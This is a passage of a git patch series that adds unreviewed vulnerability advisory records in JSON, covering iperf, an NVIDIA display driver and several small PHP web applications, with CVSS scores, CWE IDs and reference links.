+ "database_specific": {
+ "cwe_ids": [
+ "CWE-125"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:45Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wrxq-9fmf-hq5j/GHSA-wrxq-9fmf-hq5j.json b/advisories/unreviewed/2025/08/GHSA-wrxq-9fmf-hq5j/GHSA-wrxq-9fmf-hq5j.json
new file mode 100644
index 0000000000000..f282b4ac6e57b
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wrxq-9fmf-hq5j/GHSA-wrxq-9fmf-hq5j.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wrxq-9fmf-hq5j",
+ "modified": "2025-08-03T00:30:23Z",
+ "published": "2025-08-03T00:30:23Z",
+ "aliases": [
+ "CVE-2025-23277"
+ ],
+ "details": "NVIDIA Display Driver for Linux and Windows contains a vulnerability in the kernel mode driver, where an attacker could access memory outside bounds permitted under normal use cases. A successful exploit of this vulnerability might lead to denial of service, data tampering, or information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23277"
+ },
+ {
+ "type": "WEB",
+ "url": "https://https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:44Z"
+ }
+}
\ No newline at end of file
From d8227b901065d62cf225c8df316031a157a7034f Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 03:32:29 +0000
Subject: [PATCH 317/323] Publish Advisories
GHSA-8xx8-qrh3-q8mq
GHSA-9235-mc99-3px2
GHSA-r6x8-74x9-5mc9
GHSA-xjwm-4pfw-49g2
---
.../GHSA-8xx8-qrh3-q8mq.json | 40 +++++++++++++
.../GHSA-9235-mc99-3px2.json | 56 +++++++++++++++++++
.../GHSA-r6x8-74x9-5mc9.json | 40 +++++++++++++
.../GHSA-xjwm-4pfw-49g2.json | 40 +++++++++++++
4 files changed, 176 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-8xx8-qrh3-q8mq/GHSA-8xx8-qrh3-q8mq.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-9235-mc99-3px2/GHSA-9235-mc99-3px2.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-r6x8-74x9-5mc9/GHSA-r6x8-74x9-5mc9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xjwm-4pfw-49g2/GHSA-xjwm-4pfw-49g2.json
diff --git a/advisories/unreviewed/2025/08/GHSA-8xx8-qrh3-q8mq/GHSA-8xx8-qrh3-q8mq.json b/advisories/unreviewed/2025/08/GHSA-8xx8-qrh3-q8mq/GHSA-8xx8-qrh3-q8mq.json
new file mode 100644
index 0000000000000..7c1c99b504b96
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8xx8-qrh3-q8mq/GHSA-8xx8-qrh3-q8mq.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8xx8-qrh3-q8mq",
+ "modified": "2025-08-03T03:30:30Z",
+ "published": "2025-08-03T03:30:29Z",
+ "aliases": [
+ "CVE-2025-54349"
+ ],
+ "details": "In iperf before 3.19.1, iperf_auth.c has an off-by-one error and resultant heap-based buffer overflow.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54349"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/commit/4e5313bab0b9b3fe03513ab54f722c8a3e4b7bdf"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/releases/tag/3.19.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-193"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T02:15:35Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-9235-mc99-3px2/GHSA-9235-mc99-3px2.json b/advisories/unreviewed/2025/08/GHSA-9235-mc99-3px2/GHSA-9235-mc99-3px2.json
new file mode 100644
index 0000000000000..9292bf004ed5a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-9235-mc99-3px2/GHSA-9235-mc99-3px2.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-9235-mc99-3px2",
+ "modified": "2025-08-03T03:30:30Z",
+ "published": "2025-08-03T03:30:30Z",
+ "aliases": [
+ "CVE-2025-8495"
+ ],
+ "details": "A vulnerability, which was classified as critical, was found in code-projects Intern Membership Management System 1.0. Affected is an unknown function of the file /admin/edit_admin_query.php. The manipulation of the argument Username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8495"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318594"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318594"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626722"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.yuque.com/gongzi-jsnek/xb2q3a/dctpzq93gcaop8qo?singleDoc"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T02:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-r6x8-74x9-5mc9/GHSA-r6x8-74x9-5mc9.json b/advisories/unreviewed/2025/08/GHSA-r6x8-74x9-5mc9/GHSA-r6x8-74x9-5mc9.json
new file mode 100644
index 0000000000000..be804188a492d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-r6x8-74x9-5mc9/GHSA-r6x8-74x9-5mc9.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r6x8-74x9-5mc9",
+ "modified": "2025-08-03T03:30:30Z",
+ "published": "2025-08-03T03:30:30Z",
+ "aliases": [
+ "CVE-2025-54350"
+ ],
+ "details": "In iperf before 3.19.1, iperf_auth.c has a Base64Decode assertion failure and application exit upon a malformed authentication attempt.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54350"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/commit/4eab661da0bbaac04493fa40164e928c6df7934a"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/releases/tag/3.19.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-617"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T02:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xjwm-4pfw-49g2/GHSA-xjwm-4pfw-49g2.json b/advisories/unreviewed/2025/08/GHSA-xjwm-4pfw-49g2/GHSA-xjwm-4pfw-49g2.json
new file mode 100644
index 0000000000000..e3e22274a617a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xjwm-4pfw-49g2/GHSA-xjwm-4pfw-49g2.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xjwm-4pfw-49g2",
+ "modified": "2025-08-03T03:30:30Z",
+ "published": "2025-08-03T03:30:30Z",
+ "aliases": [
+ "CVE-2025-54351"
+ ],
+ "details": "In iperf before 3.19.1, net.c has a buffer overflow when --skip-rx-copy is used (for MSG_TRUNC in recv).",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54351"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/commit/969b7f70c447513e92c9798f22e82b40ebc53bf0"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/esnet/iperf/releases/tag/3.19.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-420"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T02:15:37Z"
+ }
+}
\ No newline at end of file
From 8fc098056b2a44c446bf38a4679c311de4247cdd Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 06:32:29 +0000
Subject: [PATCH 318/323] Publish Advisories
GHSA-7j92-2vfh-4g6w
GHSA-h897-rm87-xgw4
GHSA-hqgx-9pq6-9vw7
GHSA-p9mr-7854-3j3g
GHSA-v6wv-xm4x-3qv2
GHSA-xpq2-87j9-cv9g
---
.../GHSA-7j92-2vfh-4g6w.json | 56 +++++++++++++++++++
.../GHSA-h897-rm87-xgw4.json | 56 +++++++++++++++++++
.../GHSA-hqgx-9pq6-9vw7.json | 56 +++++++++++++++++++
.../GHSA-p9mr-7854-3j3g.json | 52 +++++++++++++++++
.../GHSA-v6wv-xm4x-3qv2.json | 56 +++++++++++++++++++
.../GHSA-xpq2-87j9-cv9g.json | 56 +++++++++++++++++++
6 files changed, 332 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-7j92-2vfh-4g6w/GHSA-7j92-2vfh-4g6w.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-h897-rm87-xgw4/GHSA-h897-rm87-xgw4.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-hqgx-9pq6-9vw7/GHSA-hqgx-9pq6-9vw7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-p9mr-7854-3j3g/GHSA-p9mr-7854-3j3g.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-v6wv-xm4x-3qv2/GHSA-v6wv-xm4x-3qv2.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xpq2-87j9-cv9g/GHSA-xpq2-87j9-cv9g.json
diff --git a/advisories/unreviewed/2025/08/GHSA-7j92-2vfh-4g6w/GHSA-7j92-2vfh-4g6w.json b/advisories/unreviewed/2025/08/GHSA-7j92-2vfh-4g6w/GHSA-7j92-2vfh-4g6w.json
new file mode 100644
index 0000000000000..7548954f4005c
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7j92-2vfh-4g6w/GHSA-7j92-2vfh-4g6w.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7j92-2vfh-4g6w",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8501"
+ ],
+ "details": "A vulnerability classified as problematic has been found in code-projects Human Resource Integrated System 1.0. Affected is an unknown function of the file /insert-and-view/action.php. The manipulation of the argument content leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8501"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shenxianyuguitian/hris-vuln-XSS/blob/main/README.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318600"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318600"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626792"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T06:15:31Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-h897-rm87-xgw4/GHSA-h897-rm87-xgw4.json b/advisories/unreviewed/2025/08/GHSA-h897-rm87-xgw4/GHSA-h897-rm87-xgw4.json
new file mode 100644
index 0000000000000..8f4688fb46406
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-h897-rm87-xgw4/GHSA-h897-rm87-xgw4.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-h897-rm87-xgw4",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8500"
+ ],
+ "details": "A vulnerability was found in code-projects Human Resource Integrated System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /insert-and-view/action.php. The manipulation of the argument content leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8500"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shenxianyuguitian/hris-vuln-sqli/blob/main/README.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318599"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318599"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626791"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T05:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-hqgx-9pq6-9vw7/GHSA-hqgx-9pq6-9vw7.json b/advisories/unreviewed/2025/08/GHSA-hqgx-9pq6-9vw7/GHSA-hqgx-9pq6-9vw7.json
new file mode 100644
index 0000000000000..4ddf9b9f2db16
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-hqgx-9pq6-9vw7/GHSA-hqgx-9pq6-9vw7.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-hqgx-9pq6-9vw7",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8499"
+ ],
+ "details": "A vulnerability was found in code-projects Online Medicine Guide 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /cusfindambulence2.php. The manipulation of the argument Search leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8499"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/joker-vip/cvesubmit/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318598"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318598"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626778"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T05:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-p9mr-7854-3j3g/GHSA-p9mr-7854-3j3g.json b/advisories/unreviewed/2025/08/GHSA-p9mr-7854-3j3g/GHSA-p9mr-7854-3j3g.json
new file mode 100644
index 0000000000000..973bca98bfa9c
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-p9mr-7854-3j3g/GHSA-p9mr-7854-3j3g.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p9mr-7854-3j3g",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8496"
+ ],
+ "details": "A vulnerability has been found in projectworlds Online Admission System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /viewform.php. The manipulation of the argument ID leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8496"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/huangtinlin/CVE/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318595"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318595"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626766"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T04:15:49Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v6wv-xm4x-3qv2/GHSA-v6wv-xm4x-3qv2.json b/advisories/unreviewed/2025/08/GHSA-v6wv-xm4x-3qv2/GHSA-v6wv-xm4x-3qv2.json
new file mode 100644
index 0000000000000..bf01f586faac9
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-v6wv-xm4x-3qv2/GHSA-v6wv-xm4x-3qv2.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-v6wv-xm4x-3qv2",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8498"
+ ],
+ "details": "A vulnerability was found in code-projects Online Medicine Guide 1.0. It has been classified as critical. This affects an unknown part of the file /cart/index.php. The manipulation of the argument uname leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8498"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shokaku-cyb/cve/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318597"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318597"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626777"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T04:15:53Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xpq2-87j9-cv9g/GHSA-xpq2-87j9-cv9g.json b/advisories/unreviewed/2025/08/GHSA-xpq2-87j9-cv9g/GHSA-xpq2-87j9-cv9g.json
new file mode 100644
index 0000000000000..c524e925c482a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xpq2-87j9-cv9g/GHSA-xpq2-87j9-cv9g.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xpq2-87j9-cv9g",
+ "modified": "2025-08-03T06:30:27Z",
+ "published": "2025-08-03T06:30:27Z",
+ "aliases": [
+ "CVE-2025-8497"
+ ],
+ "details": "A vulnerability was found in code-projects Online Medicine Guide 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /cusfindphar2.php. The manipulation of the argument Search leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8497"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shokaku-cyb/cve/issues/2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318596"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318596"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626776"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T04:15:51Z"
+ }
+}
\ No newline at end of file
From d13be93b5ee4e91e69987fd0272891d300c1cc9e Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 09:33:29 +0000
Subject: [PATCH 319/323] Publish Advisories
GHSA-5mpp-7hmq-qxfv
GHSA-6397-2hfr-hmjp
GHSA-c784-48q7-28q9
GHSA-ffrh-25w3-cmvh
GHSA-q2w7-9xcp-64v5
GHSA-r935-cx2h-crwf
---
.../GHSA-5mpp-7hmq-qxfv.json | 6 +-
.../GHSA-6397-2hfr-hmjp.json | 52 +++++++++++++++++
.../GHSA-c784-48q7-28q9.json | 56 +++++++++++++++++++
.../GHSA-ffrh-25w3-cmvh.json | 52 +++++++++++++++++
.../GHSA-q2w7-9xcp-64v5.json | 56 +++++++++++++++++++
.../GHSA-r935-cx2h-crwf.json | 56 +++++++++++++++++++
6 files changed, 277 insertions(+), 1 deletion(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-6397-2hfr-hmjp/GHSA-6397-2hfr-hmjp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-c784-48q7-28q9/GHSA-c784-48q7-28q9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-ffrh-25w3-cmvh/GHSA-ffrh-25w3-cmvh.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q2w7-9xcp-64v5/GHSA-q2w7-9xcp-64v5.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-r935-cx2h-crwf/GHSA-r935-cx2h-crwf.json
diff --git a/advisories/unreviewed/2025/07/GHSA-5mpp-7hmq-qxfv/GHSA-5mpp-7hmq-qxfv.json b/advisories/unreviewed/2025/07/GHSA-5mpp-7hmq-qxfv/GHSA-5mpp-7hmq-qxfv.json
index ac8f08c41bf71..7ec2b7c85f0db 100644
--- a/advisories/unreviewed/2025/07/GHSA-5mpp-7hmq-qxfv/GHSA-5mpp-7hmq-qxfv.json
+++ b/advisories/unreviewed/2025/07/GHSA-5mpp-7hmq-qxfv/GHSA-5mpp-7hmq-qxfv.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-5mpp-7hmq-qxfv",
- "modified": "2025-07-28T15:31:37Z",
+ "modified": "2025-08-03T09:31:49Z",
"published": "2025-07-27T06:30:27Z",
"aliases": [
"CVE-2025-8220"
@@ -31,6 +31,10 @@
"type": "WEB",
"url": "https://docs.google.com/document/d/1fbe1o3ncvmYbw-w1MKMUJg7z-qu1Wyo81y9isFlNyi0/edit?usp=sharing"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/m3m0o/engeman-web-language-combobox-sqli"
+ },
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.317808"
diff --git a/advisories/unreviewed/2025/08/GHSA-6397-2hfr-hmjp/GHSA-6397-2hfr-hmjp.json b/advisories/unreviewed/2025/08/GHSA-6397-2hfr-hmjp/GHSA-6397-2hfr-hmjp.json
new file mode 100644
index 0000000000000..74cd1335c1c78
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-6397-2hfr-hmjp/GHSA-6397-2hfr-hmjp.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6397-2hfr-hmjp",
+ "modified": "2025-08-03T09:31:50Z",
+ "published": "2025-08-03T09:31:50Z",
+ "aliases": [
+ "CVE-2025-8505"
+ ],
+ "details": "A vulnerability has been found in 495300897 wx-shop up to de1b66331368695779cfc6e4d11a64caddf8716e and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
